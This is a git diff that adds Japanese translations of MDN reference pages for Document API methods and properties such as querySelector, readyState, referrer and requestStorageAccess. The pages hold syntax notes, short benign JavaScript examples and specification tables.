+ + diff --git a/files/ja/web/api/document/querycommandstate/index.html b/files/ja/web/api/document/querycommandstate/index.html new file mode 100644 index 0000000000..daaa234747 --- /dev/null +++ b/files/ja/web/api/document/querycommandstate/index.html @@ -0,0 +1,89 @@ +--- +title: Document.queryCommandState() +slug: Web/API/Document/queryCommandState +tags: + - API + - DOM + - Reference +translation_of: Web/API/Document/queryCommandState +--- +
{{ApiRef("DOM")}}{{obsolete_header}}
+ +

queryCommandState() メソッドは、現在の選択範囲に特定の {{domxref("Document.execCommand()")}} コマンドが適用されているかどうかを知らせます。

+ +

構文

+ +
queryCommandState(String command)
+
+ +

引数

+ +

command は {{domxref("Document.execCommand()")}} のコマンドです。

+ +

返値

+ +

queryCommandState() は {{jsxref("Boolean")}} 値、または状態が不明な場合は null を返す可能性があります。

+ +

例

+ +

HTML

+ +
<div contenteditable="true">Select a part of this text!</div>
+<button onclick="makeBold();">Test the state of the 'bold' command</button>
+
+ +

JavaScript

+ +
function makeBold() {
+  var state = document.queryCommandState("bold");
+  switch (state) {
+    case true:
+      alert("The bold formatting will be removed from the selected text.");
+      break;
+    case false:
+      alert("The selected text will be displayed in bold.");
+      break;
+    case null:
+      alert("The state of the 'bold' command is indeterminable.");
+      break;
+  }
+  document.execCommand('bold');
+}
+ +

結果

+ +

{{EmbedLiveSample('Example')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
execCommand
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.queryCommandState")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/querycommandsupported/index.html b/files/ja/web/api/document/querycommandsupported/index.html new file mode 100644 index 0000000000..a28491b9bf --- /dev/null +++ b/files/ja/web/api/document/querycommandsupported/index.html @@ -0,0 +1,78 @@ +--- +title: Document.queryCommandSupported() +slug: Web/API/Document/queryCommandSupported +tags: + - API + - DOM + - Document + - Method + - Reference + - editor +translation_of: Web/API/Document/queryCommandSupported +--- +
{{ApiRef("DOM")}}{{obsolete_header}}
+ +

Document.queryCommandSupported() メソッドは、指定しされたエディターコマンドにブラウザーが対応しているかどうかを報告します。

+ +

構文

+ +
isSupported = document.queryCommandSupported(command);
+
+ +

引数

+ +
+
command
+
サポートしているかを調べるコマンド。
+
+ +

返値

+ +

{{jsxref("Boolean")}} で、コマンドがサポートされていれば true、そうでなければ false を返します。

+ +

注

+ +

'paste' コマンドは機能が利用できないときだけでなく、呼び出しスクリプトにそのコマンドを実行するための権限が不足しているときにも false を返します。

+ +

例

+ +
var flg = document.queryCommandSupported("SelectAll");
+
+if(flg) {
+  // ...何か行う
+}
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
execCommand
+ +

ブラウザーの互換性

+ +
+ + +

{{Compat("api.Document.adoptNode")}}

+
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/queryselector/index.html b/files/ja/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..18e434ea4b --- /dev/null +++ b/files/ja/web/api/document/queryselector/index.html @@ -0,0 +1,135 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS セレクター + - DOM + - DOM 要素 + - Document + - Reference + - querySelector + - セレクター + - メソッド +translation_of: Web/API/Document/querySelector +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Document")}} の querySelector() メソッドは、指定されたセレクターまたはセレクターのグループに一致する、文書内の最初の {{domxref("Element")}} を返します。一致するものが見つからない場合は null を返します。

+ +
+

メモ: 比較処理は、文書マークアップにおける最初の要素を経由して文書ノードの深さ優先前順走査 (depth-first pre-order traversal) を使用して実行され、子ノードのカウント順で順次ノードを反復して行われます。

+
+ +

構文

+ +
element = document.querySelector(selectors);
+
+ +

引数

+ +
+
selectors
+
1 つまたは複数のセレクターを含む {{domxref("DOMString")}}。この文字列は妥当な CSS セレクターでなければならず、そうでない場合は SYNTAX_ERR が投げられます。セレクターとその管理の方法の詳細について、セレクターを使用した DOM 要素の指定を参照してください。
+
+ +
+

メモ: 標準の CSS 構文の一部ではない文字は、バックスラッシュ文字を使ってエスケープしなければなりません。JavaScript でもバックスラッシュのエスケープが使われているため、これらの文字を使った文字列リテラルを記述する際は、特に注意する必要があります。詳細は{{anch("Escaping special characters", "特殊文字のエスケープ")}}を参照してください。

+
+ +

返値

+ +

文書内で指定された CSS セレクターに最初に一致する要素を示す {{domxref("HTMLElement")}} オブジェクト、もしくは、一致する要素がない場合は null を返します。

+ +

指定されたセレクターに一致するすべての要素のリストが必要な場合は、代わりに {{domxref("Document.querySelectorAll", "querySelectorAll()")}} を使用してください。

+ +

例外

+ +
+
SYNTAX_ERR
+
指定された selectors の構文が妥当ではない。
+
+ +

使用上のメモ

+ +

指定されたセレクターが、誤って文書内で複数回使われている ID に一致する場合は、その ID を持つ最初の要素が返されます。

+ +

CSS 擬似要素は Selectors API で策定されている通り、何も要素を返しません。

+ +

特殊文字のエスケープ

+ +

標準の CSS の構文に従っていない ID やセレクター (例えば、コロンやスペースを不適切に使用しているもの) で一致させるためには、バックスラッシュ ("\") でその文字をエスケープしなければなりません。バックスラッシュは JavaScript のエスケープ文字でもあるので、文字列リテラルを入力する場合、それを 2 回エスケープする必要があります (1 回目は JavaScript の文字列のため、2 回目は querySelector() のため)。

+ +
<div id="foo\bar"></div>
+<div id="foo:bar"></div>
+
+<script>
+  console.log('#foo\bar');               // "#fooar" (\b はバックスペース制御文字)
+  document.querySelector('#foo\bar');    // いずれにも一致しない
+
+  console.log('#foo\\bar');              // "#foo\bar"
+  console.log('#foo\\\\bar');            // "#foo\\bar"
+  document.querySelector('#foo\\\\bar'); // 最初の div に一致する
+
+  document.querySelector('#foo:bar');    // いずれにも一致しない
+  document.querySelector('#foo\\:bar');  // 2番目の div に一致する
+</script>
+ +

例

+ +

あるクラスに一致する最初の要素を探索する

+ +

次の例は、クラス "myclass" を持つ文書内の要素の内、最初のものを返します。

+ +
var el = document.querySelector(".myclass");
+
+ +

より複雑なセレクター

+ +

セレクターは、次の例で示しているように、実に力強いものになり得ます。ここでは、文書内でクラスが "user-panel main" である {{HTMLElement("div")}} (<div class="user-panel main">) の中にある、"login" という名前を持つ最初の {{HTMLElement("input")}} 要素 (<input name="login"/>) が返されます。

+ +
var el = document.querySelector("div.user-panel.main input[name='login']");
+
+ +

否定

+ +

すべての CSS セレクター文字列が正しい場合、セレクターを否定することもできます。

+ +
var el = document.querySelector("div.user-panel:not(.main) input[name='login']");
+ +

これで、input 要素のうち親に user-panel クラスのついた div があるものの、main クラスがないものを 1 つ選択します。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "document.querySelector()")}}{{Spec2("DOM WHATWG")}}
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.querySelector")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/queryselectorall/index.html b/files/ja/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..204f56f055 --- /dev/null +++ b/files/ja/web/api/document/queryselectorall/index.html @@ -0,0 +1,180 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS Selectors + - DOM + - Document + - Finding Elements + - Locating Elements + - Method + - Reference + - Searching Elements + - Selecting Elements + - Selectors + - querySelectorAll + - メソッド +translation_of: Web/API/Document/querySelectorAll +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} の querySelectorAll() メソッドは、与えられた CSS セレクターに一致する文書中の要素のリストを示す静的な (生きていない) {{domxref("NodeList")}} を返します。

+ +
+

メモ: このメソッドは {{domxref("ParentNode")}} ミックスインの {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} メソッドを元に実装されています。

+
+ +

構文

+ +
elementList = parentNode.querySelectorAll(selectors);
+
+ +

引数

+ +
+
selectors
+
マッチのための 1 つまたは複数のセレクターを含む {{domxref("DOMString")}}。この文字列は妥当な CSS セレクターでなければならず、そうでない場合は SyntaxError 例外がスローされます。セレクターの仕様と要素の識別の詳細は、セレクターを使用した DOM 要素の指定を参照してください。複数のセレクターを指定する際は、カンマで区切ります。
+
+ +
+

メモ: 標準の CSS 構文の一部ではない文字は、バックスラッシュ文字を使ってエスケープしなければなりません。 JavaScript でもバックスラッシュによるエスケープが使われているため、これらの文字を使った文字列リテラルを記述する際は、特に注意する必要があります。詳細は {{anch("Escaping special characters")}} を参照してください。

+
+ +

返値

+ +

指定されたセレクターの少なくとも一つに一致する要素ごとに {{domxref("Element")}} を一つずつ含む、生きていない {{domxref("NodeList")}}、または一致するものがなければ空の {{domxref("NodeList")}} です。

+ +
+

メモ: 指定された selectors が CSS 擬似要素を含む場合、返されるリストは常に空になります。

+
+ +

例外

+ +
+
SyntaxError
+
指定された selectors の構文が妥当ではない。
+
+ +

例

+ +

一致のリストの入手

+ +

文書内のすべての {{HTMLElement("p")}} 要素の {{domxref("NodeList")}} を入手します。

+ +
var matches = document.querySelectorAll("p");
+ +

次の例では、文書内にある note または alert のいずれかのクラスを持つ、すべての {{HTMLElement("div")}} 要素のリストを返します。

+ +
var matches = document.querySelectorAll("div.note, div.alert");
+
+ +

次に、 test という ID を持つコンテナ内に位置し、直接の親要素が highlighted クラスを持つ {{HTMLElement("div")}} である、<p> 要素のリストを取得します。

+ +
var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted > p");
+ +

次の例では属性セレクターを使用しており、 data-src という名前の属性を持つ、文書内の {{HTMLElement("iframe")}} 要素のリストを返します。

+ +
var matches = document.querySelectorAll("iframe[data-src]");
+ +

次の例では、ID が "userlist" の要素の中にあり、"data-active" 属性を持ち、その値が "1" であるリスト項目のリストを返すため、属性セレクターが使用されています。

+ +
var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");
+ +

一致したリストへのアクセス

+ +

一旦、一致した要素の {{domxref("NodeList")}} が返されると、それをちょうど配列のように試すことができます。配列が空である (length プロパティが 0 である) 場合は、一致がなかったということです。

+ +

それ以外の場合は、単純に標準の配列表記を使って、リストの内容にアクセスすることができます。次のように、任意の一般的なループ処理を使うことができます。

+ +
var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});
+ +

ユーザーのメモ

+ +

querySelectorAll() は、最も一般的な JavaScript DOM ライブラリと異なる動作を持ち、意図しない結果をもたらすことがあります。

+ +

HTML

+ +

次の、入れ子になった 3 つの {{HTMLElement("div")}} ブロックを持つ HTML について検討します。

+ +
<div class="outer">
+  <div class="select">
+    <div class="inner">
+    </div>
+  </div>
+</div>
+ +

JavaScript

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1 です。0 ではありません!
+
+ +

この例では、"select" class を持つ <div> の文脈で ".outer .inner" を選択するとき、.outer が基準となる要素（.select で検索される）の子孫ではないにもかかわらず、".inner" class を持つ要素が見つけられています。querySelectorAll() はデフォルトでは、セレクターの最後の要素が検索スコープに含まれているかどうかのみ検証します。

+ +

{{cssxref(":scope")}} 擬似クラスを使うと、基準となる要素の子孫だけが一致するようになり、期待される挙動を取り戻すことができます。

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}Living standard
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}変更なし
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}初回定義
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}独自の定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.querySelectorAll")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/readystate/index.html b/files/ja/web/api/document/readystate/index.html new file mode 100644 index 0000000000..17d296e7df --- /dev/null +++ b/files/ja/web/api/document/readystate/index.html @@ -0,0 +1,133 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +tags: + - API + - DOM + - Document + - HTML DOM + - Reference + - readyState + - プロパティ +translation_of: Web/API/Document/readyState +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}
+ +

Document.readyState プロパティは、その{{domxref("document", "文書")}}の読み込み状態を示します。

+ +

このプロパティの値が変化するとき、{{event("readystatechange")}} イベントが {{domxref("document")}} オブジェクト上で発生します。

+ +

構文

+ +
var string = document.readyState;
+
+ +

値

+ +

文書の readyState は次のうちの一つになります。

+ +
+
loading
+
この文書はまだ読み込み中です。
+
interactive
+
この文書は読み込みが終わり、解析が済みましたが、画像、スタイルシート、フレームなどの副リソースはまだ読み込み中です。
+
complete
+
この文書とすべての副リソースの読み込みが終わっています。この状態は {{event("load")}} イベントがもうすぐ発火することを示します。
+
+ +

例

+ +

Different states of readiness

+ +
switch (document.readyState) {
+  case "loading":
+    // この文書はまだ読み込み中。
+    break;
+  case "interactive":
+    // この文書は読み込みが終了した。DOM 要素にアクセスできるようになった。
+    // しかし、画像、スタイルシート、フレームなどの副リソースはまだ読み込み中。
+    var span = document.createElement("span");
+    span.textContent = "A <span> element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // ページが完全に読み込み完了。
+    console.log("最初の CSS 規則: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}
+
+ +

readystatechange を DOMContentLoaded イベントの代替とする

+ +
// DOMContentLoaded イベントの代替
+document.onreadystatechange = function () {
+  if (document.readyState === 'interactive') {
+    initApplication();
+  }
+}
+
+ +

readystatechange を load イベントの代替とする

+ +
// load イベントの代替
+document.onreadystatechange = function () {
+  if (document.readyState === 'complete') {
+    initApplication();
+  }
+}
+ +

readystatechange を DOM の挿入や変更のイベントリスナーとして DOMContentLoaded の前に使用

+ +
document.addEventListener('readystatechange', event => {
+  if (event.target.readyState === 'interactive') {
+    initLoader();
+  }
+  else if (event.target.readyState === 'complete') {
+    initApp();
+  }
+});
+
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML WHATWG')}}
{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5 W3C')}}初回定義
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.readyState")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/readystatechange_event/index.html b/files/ja/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..a9dbe6074d --- /dev/null +++ b/files/ja/web/api/document/readystatechange_event/index.html @@ -0,0 +1,144 @@ +--- +title: 'Document: readystatechange イベント' +slug: Web/API/Document/readystatechange_event +tags: + - Event + - Reference + - XMLHttpRequest + - interactive +translation_of: Web/API/Document/readystatechange_event +--- +
{{APIRef}}
+ +

readystatechange eventは、文書の {{domxref("Document.readyState", "readyState")}} 属性が変化したときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティonreadystatechange
+ +

例

+ +

ライブデモ

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

結果

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.readystatechange_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/referrer/index.html b/files/ja/web/api/document/referrer/index.html new file mode 100644 index 0000000000..5abb4e3ddf --- /dev/null +++ b/files/ja/web/api/document/referrer/index.html @@ -0,0 +1,52 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +tags: + - API + - Document + - HTML DOM + - Property + - Reference + - referrer + - プロパティ +translation_of: Web/API/Document/referrer +--- +
{{APIRef("DOM")}}
+ +

Document.referrer プロパティは、このページへリンクしていたページの URI を返します。

+ +

構文

+ +
var referrer = document.referrer;
+
+ +

値

+ +

この値は、ユーザーが (リンクではなく、例えばブックマークから) ページに直接移動した場合は空文字列になります。プロパティはただ文字列を返すものであるため、参照先のページの DOM アクセスを提供するものではありません。

+ +

{{HTMLElement("iframe")}} の中では、 Document.referrer は最初、親ウィンドウの {{domxref("Window/location", "Window.location")}} の {{domxref("HTMLHyperlinkElementUtils/href", "href")}} と同じ値が設定されます。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-referrer-dev', 'document.referrer')}}{{Spec2('HTML WHATWG')}}
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.referrer")}}
diff --git a/files/ja/web/api/document/releasecapture/index.html b/files/ja/web/api/document/releasecapture/index.html new file mode 100644 index 0000000000..00ee37c86d --- /dev/null +++ b/files/ja/web/api/document/releasecapture/index.html @@ -0,0 +1,42 @@ +--- +title: Document.releaseCapture() +slug: Web/API/Document/releaseCapture +tags: + - API + - DOM + - Document + - Reference + - releaseCapture + - メソッド +translation_of: Web/API/Document/releaseCapture +--- +
{{ApiRef("DOM")}}{{gecko_minversion_header("2.0")}}
+ +

releaseCapture() メソッドは、この文書内の要素で現在有効になっているマウスキャプチャを解放します。要素におけるマウスキャプチャの有効化は {{domxref("element.setCapture()")}} を呼び出すことで実行できます。

+ +

構文

+ +
document.releaseCapture();
+
+ +

マウスキャプチャが解放されると、マウスイベントはキャプチャが有効になっていた要素にすべては来なくなります。

+ +

例

+ +

{{domxref("element.setCapture()")}} の例をご覧ください。

+ +

仕様書

+ +

Internet Explorer の実装に基づく。

+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.releaseCapture")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/requeststorageaccess/index.html b/files/ja/web/api/document/requeststorageaccess/index.html new file mode 100644 index 0000000000..6cc401f39f --- /dev/null +++ b/files/ja/web/api/document/requeststorageaccess/index.html @@ -0,0 +1,130 @@ +--- +title: Document.requestStorageAccess() +slug: Web/API/Document/requestStorageAccess +tags: + - API + - DOM + - Document + - Experimental + - Reference + - Storage Access API + - requestStorageAccess + - メソッド +translation_of: Web/API/Document/requestStorageAccess +--- +
{{APIRef}}
+ +

requestStorageAccess() は {{domxref("Document")}} インターフェイスのメソッドで、ファーストパーティのストレージへのアクセスが許可されたら解決し、アクセスが拒否されたら拒絶される {{jsxref("Promise")}} を返します。

+ +

ストレージへのアクセスが許可される条件

+ +

ストレージへのアクセスは、以下の一連のチェックに基づいて許可されます。

+ +
    +
  1. 文書がすでにアクセスを許可されていれば、解決。
    2. +
  2. 文書が null オリジンを持っていれば、拒絶。
    3. +
  3. 文書のフレームが主フレームであれば、解決。
    4. +
  4. 副フレームのオリジンが主フレームのものと同じであれば、解決。
    5. +
  5. 副フレームがサンドボックス化されていなければ、7へ飛ぶ。
    6. +
  6. 副フレームにトークン allow-storage-access-by-user-activation がなければ、拒絶。
    7. +
  7. 副フレームの親フレームが最上位フレームでなければ、拒絶。
    8. +
  8. ブラウザーがユーザージェスチャーを処理中でなければ、拒絶。
    9. +
  9. ブラウザーが持っている追加の規則をチェック。例えば、ホワイトリスト、ブラックリスト、端末上の分類、ユーザー設定、クリックジャック防止の推測、ユーザーへの明示的なパーミッションの確認など。いくつかの規則が満たされていなければ、拒絶。
    10. +
  10. 文書にクッキーやその他のサイトストレージへのアクセスを許可し、将来の {{domxref("Document.hasStorageAccess()")}} および requestStorageAccess() の呼び出しのためにその事実を保存。
    11. +
+ +

上記のすべての要件が満たされていると仮定すると、Firefox は、ユーザーセッション存続期間の最大24時間で、現在のセッションのファーストパーティのオリジンのしきい値数まで、要求オリジンへのストレージアクセスを自動的に許可します。 要求オリジンがストレージアクセス許可の最大許容数を超えた後、同じ閲覧セッション中に requestStorageAccess() を呼び出すと、ユーザーにプロンプトします。

+ +

オリジンが取得できる同時ストレージアクセス許可の最大数は、現在のセッションでアクセスされた最上位オリジンの数の 1% または 5 のいずれか大きい方として現在定義されている正の整数です。 しきい値は eTLD+1 のレベルで適用されるため、例えば、foo.example.com と bar.example.com に対する2つのストレージアクセス許可は、制限に対する単一の例外としてのみカウントされます。

+ +

requestStorageAccess() 呼び出しの時点で、要求オリジンがストレージアクセスを持っている場合...

+ +

...最大値より少ないオリジン:

+ + + +

...最大値以上のオリジン:

+ + + +

一時的または永続的なストレージアクセス許可が期限切れになると、要求オリジンのストレージアクセスを持つオリジンの数が1ずつ減ります。

+ +
+

注: 要求オリジンが追跡オリジン（tracking origin）として分類されていない場合、アクセス要求には、ページがリロードされると消滅する一時的なストレージアクセス許可が自動的に付与されます。 この場合、ユーザーにはプロンプトが表示されないため、requestStorageAccess() を呼び出しても、{{domxref("Document.hasStorageAccess()")}} によって返される値を変更する以外に副作用はありません。

+
+ +

デバッグ

+ +

ストレージアクセス許可のしきい値により、Firefox がユーザーにアクセスをプロンプトする条件の下でウェブサイトをテストすることがより難しくなる場合があります。 テストを簡単にするために、requestStorageAccess() 呼び出し時のプロンプトを制御する about:config に次の2つの設定を追加しました。

+ + + +

構文

+ +
var promise = document.requestStorageAccess();
+ +

引数

+ +

なし。

+ +

返値

+ +

ファーストパーティのストレージへのアクセスが許可されたら undefined で満たされ、アクセスが拒否されたら拒絶される {{jsxref("Promise")}} です。

+ +

Promise が解決されると、 Promise が満たされたか拒否されたかに関わらず、ユーザージェスチャーが処理されているかのように解決ハンドラーが実行されます。

+ + + +

例

+ +
document.requestStorageAccess().then(
+  () => { console.log('access granted') },
+  () => { console.log('access denied') }
+);
+ +

仕様書

+ +

この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の Introducing Storage Access API、および WHATWG HTML issue 3338 — Proposal: Storage Access API で見ることができます。

+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.requestStorageAccess")}}

+ +

関連情報

+ +

Storage Access API

diff --git a/files/ja/web/api/document/scripts/index.html b/files/ja/web/api/document/scripts/index.html new file mode 100644 index 0000000000..c89053e06c --- /dev/null +++ b/files/ja/web/api/document/scripts/index.html @@ -0,0 +1,61 @@ +--- +title: Document.scripts +slug: Web/API/Document/scripts +tags: + - API + - Document + - HTML DOM + - Property + - Reference + - Script + - プロパティ +translation_of: Web/API/Document/scripts +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} インターフェイスの scripts プロパティは、文書中の {{HTMLElement("script")}} 要素のリストを返します。返されるオブジェクトは単一の {{domxref("HTMLCollection")}} オブジェクトです。

+ +

構文

+ +
var scriptList = document.scripts;
+
+ +

値

+ +

{{domxref("HTMLCollection")}} です。これを使用して、リスト中のすべての要素を配列のように取得することができます。

+ +

例

+ +

ページ内の {{HTMLElement("script")}} 要素の存在を確認する例を以下に示します。

+ +
let scripts = document.scripts;
+
+if (scripts.length) {
+  alert("このページには script 要素があります。");
+}
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}{{ Spec2('HTML WHATWG') }} 
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.scripts")}}
diff --git a/files/ja/web/api/document/scroll_event/index.html b/files/ja/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..6be4404386 --- /dev/null +++ b/files/ja/web/api/document/scroll_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: scroll event' +slug: Web/API/Document/scroll_event +tags: + - API + - DOM + - Document + - Event + - Reference + - Scroll + - UIEvent +translation_of: Web/API/Document/scroll_event +--- +

{{APIRef}}

+ +

scroll イベントは、ドキュメントのビューまたは要素がスクロールされたときに生じます。

+ + + + + + + + + + + + + + + + + + + + + + +
バブリングはい
キャンセル可能いいえ
インターフェイス{{DOMxRef("Event")}}
イベントハンドラープロパティ{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}
+ +
+

注: iOS UIWebViews では、スクロールされている最中は scroll イベントは生じません。スクロールが完了したあとにのみ生じます。 詳しくは Bootstrap issue #16202 をご覧ください。 Safari と WKWebViews ではこのバグは起きません。

+
+ +

例

+ +

スクロールイベントを抑制する

+ +

scroll イベントは高い確率で生じることができるため、イベントハンドラーは DOM の変更といった計算上の処理コストの高い操作を実行すべきではありません。その代わり、次のように、 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}} や、 {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 、または {{DOMxRef("CustomEvent")}} を使ってイベントを抑制することが推奨されます。

+ +

ただし、インプットイベントやアニメーションフレームは同じような確率で生じ、そのため下記のような最適化は不要の場合が多いことに注意してください。 この例では requestAnimationFrame の scroll を最適化しています。

+ +
// Reference: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // Do something with the scroll position
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});
+ +

その他の類似の例を見るには、 resize イベントページをご覧ください。

+ +

仕様

+ + + + + + + + + + + + +
仕様書策定状況
{{SpecName('CSSOM View', '#scrolling-events')}}{{Spec2('CSSOM View')}}
+ +

ブラウザー実装状況

+ +

{{Compat("api.Document.scroll_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/scrollingelement/index.html b/files/ja/web/api/document/scrollingelement/index.html new file mode 100644 index 0000000000..36401e50ed --- /dev/null +++ b/files/ja/web/api/document/scrollingelement/index.html @@ -0,0 +1,59 @@ +--- +title: Document.scrollingElement +slug: Web/API/Document/scrollingElement +tags: + - API + - Document + - Property + - Reference + - scrollingElement +translation_of: Web/API/Document/scrollingElement +--- +
{{APIRef("DOM")}}
+ +
 
+ +
scrollingElement は、{{domxref("Document")}} インターフェースの読み込み専用プロパティです。
+ +
スクロール可能な {{domxref("Element")}} の参照を返します。
+ +
スタンダードモードでは、ドキュメントのルート要素である {{domxref("document.documentElement")}} になります。
+ +
 
+ +
後方互換モードでは、scrollingElement はHTMLの body 要素を返します。
+ +
body 要素が存在しないか、それが スクロール可能 な場合は null を返します。
+ +

構文

+ +
var element = document.scrollingElement;
+ +

例

+ +
var scrollElm = document.scrollingElement;
+scrollElm.scrollTop = 0;
+
+ +

仕様

+ + + + + + + + + + + + + + +
仕様書策定状況コメント
{{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}}{{Spec2('CSSOM View')}}Initial definition
+ +

ブラウザー実装状況

+ + + +

{{Compat("api.Document.scrollingElement")}}

diff --git a/files/ja/web/api/document/selectedstylesheetset/index.html b/files/ja/web/api/document/selectedstylesheetset/index.html new file mode 100644 index 0000000000..ce5c336b8e --- /dev/null +++ b/files/ja/web/api/document/selectedstylesheetset/index.html @@ -0,0 +1,50 @@ +--- +title: Document.selectedStyleSheetSet +slug: Web/API/Document/selectedStyleSheetSet +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/selectedStyleSheetSet +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}
+ +

selectedStyleSheetSet プロパティは、現在使用中のスタイルシートセットの名前を示します。

+ +

構文

+ +
currentStyleSheetSet = document.selectedStyleSheetSet;
+
+document.selectedStyleSheet = newStyleSheetSet;
+
+ +

返値である currentStyleSheetSet は、現在使用中のスタイルシートセットの名前を示します。このプロパティを使用して、現在のスタイルシートセットを設定することもできます。

+ +

このプロパティに値を設定することは、 {{domxref("document.enableStyleSheetsForSet()")}} を currentStyleSheetSet の値で呼び出し、 lastStyleSheetSet の値をその値に設定することに等価です。

+ +
注: この属性の値は生きています。スタイルシートの disabled 属性を変更すると、この属性の値に影響します。
+ +

例

+ +
console.log('Current style sheet set: ' + document.selectedStyleSheetSet);
+
+document.selectedStyleSheetSet = 'Some other style sheet';
+
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.selectedStyleSheetSet")}}

+ +

関連情報

